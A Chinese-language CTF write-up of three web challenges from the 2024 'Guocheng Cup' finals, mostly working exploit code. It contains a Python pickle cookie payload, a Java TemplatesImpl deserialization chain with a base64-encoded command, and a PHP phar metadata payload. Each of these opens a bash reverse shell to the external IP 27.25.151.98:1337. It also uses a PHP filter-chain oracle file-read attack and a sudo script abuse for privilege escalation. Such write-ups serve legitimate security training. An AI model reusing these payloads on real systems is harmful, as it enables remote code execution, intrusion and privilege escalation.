【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)

最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)

感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思

目录

Mountain

ez_zhuawa

图片信息查看器


Mountain

扫目录

访问./display看到

提示是photo参数,/display?photo=Mountain1.png访问到图片

可以任意读文件

没法直接读环境变量

抓包看响应头,是python题

一般就去读当前运行文件

/display?photo=/proc/1/cmdline

/display?photo=/appppp/app.py

复制代码
from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import re

messages = []

@route("/")
def home():
    return template("index")

@route("/hello")
def hello_world():
    try:
        session = request.get_cookie("name", secret=Mountain)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=Mountain)
        
        return template("guest", name=session["name"]) if session["name"] == "admin" else None
    
    except:
        return "hacker!!! I've caught you"

@route("/display")
def get_image():
    photo = request.query.get('photo')
    
    if photo is None:
        return template('display')
    
    if re.search("^../|environ|self", photo):
        return "Hacker!!! I'll catch you no matter what you do!!!"
    
    requested_path = os.path.join(os.getcwd(), "picture", photo)
    
    try:
        if photo.endswith('.png'):
            default_png_path = "/appppp/picture/"
            pngrequested_path = default_png_path + photo
            
            with open(pngrequested_path, 'rb') as f:
                tfile = f.read()
            
            response.content_type = 'image/png'
        else:
            with open(requested_path) as f:
                tfile = f.read()
    except Exception as e:
        return "you have some errors, continue to try again"
    
    return tfile

@route("/admin")
def admin():
    session = request.get_cookie("name", secret=Mountain)
    
    if session and session["name"] == "admin":
        return template("administator", messages=messages)
    else:
        return "No permission!!!!"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)

接着访问./hello

给了一段Cookie,可以看到?后面的特征很像pickle序列化数据

审计代码发现可以打pickle反序列化

先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey

拿恶意cookie的最简单方式就是自己起一个服务

复制代码
from bottle import Bottle, route, run, template, request, response
import os

Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))

@route("/hello")
def hello_world():
    try:
        session = {"name": Test()}
        response.set_cookie("name", session, secret=Mountain)
        return "ok"
    except:
        return "hacker!!! I've caught you"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)

然后访问,拿到恶意cookie

替换后访问靶机的./admin,成功反弹shell拿flag

ez_zhuawa

题目入口,先是将data反序列化,然后使用SPeL解析并执行param表达式,表达式可以从反序列化对象中获取值(即调getter方法)

众所周知TemplatesImpl的利用链如下,直接实例化TP然后调用它的getOutputProperties方法即可

复制代码
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而题目ban了一堆东西,就是没ban TP

Evil.java

复制代码
package org.example.GCCTF.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {
        byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        byte[][] codes={code};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",codes);
        byte[] result=serialize(templates);
        System.out.println(Base64.getEncoder().encodeToString(result));

    }

    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

Exp.java

复制代码
package org.example.GCCTF.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法

环境变量读到flag

图片信息查看器

提示有hI3t.php

进来是一个文件上传功能和文件查询功能,一眼phar反序列化

上传图片再读取文件信息

不难想到调用了getimagesize(不想到也行,总之与文件处理相关的函数都与filterchian leak沾边)

PHP Filter链------基于oracle的文件读取攻击 - 先知社区

打filterchain读文件

用下面这个工具

https://github.com/synacktiv/php_filter_chains_oracle_exploit

复制代码
python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path

访问./[email protected],发现存在一个后门类

生成恶意phar包

复制代码
<?php

class backdoor
{
    public $cmd;

    function __destruct()
    {
        $cmd = $this->cmd;
        system($cmd);
    }
}

$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将生成的gcb.phar改为gcb.png上传,读取

phar://uploads/gcb.png

成功弹上shell

权限不够需要提权

发现存在/tmp/rootscripts/check.sh的sudo权限

查看 /tmp/rootscripts/check.sh,发现可以任意run.sh脚本执行

写恶意sh文件

复制代码
echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh

再sudo执行,拿到flag

复制代码
sudo /tmp/rootscripts/check.sh "/tmp"
相关推荐
一方~4 小时前
XML语言
xml·java·web
互联网搬砖老肖5 小时前
Web 架构之数据读写分离
前端·架构·web
小芝麻咿呀17 小时前
websocketd 10秒教程
websocket·web
忧虑的乌龟蛋4 天前
Qt实现网页内嵌
qt·web·msvc·网页·网页内嵌·qt界面·webenginewidget
越来越无动于衷10 天前
java web 过滤器
java·开发语言·servlet·web
90后小陈老师10 天前
WebXR教学 06 项目4 跳跃小游戏
3d·web·js
nuc-12711 天前
[ACTF2020 新生赛]BackupFile题解
web·ctf
ZZZKKKRTSAE12 天前
快速上手Linux的Web服务器的部署及优化
linux·运维·服务器·web
GeekABC12 天前
FastAPI系列06:FastAPI响应(Response)
开发语言·python·fastapi·web
一只程序烽.12 天前
err: Error: Request failed with status code 400
java·axios·web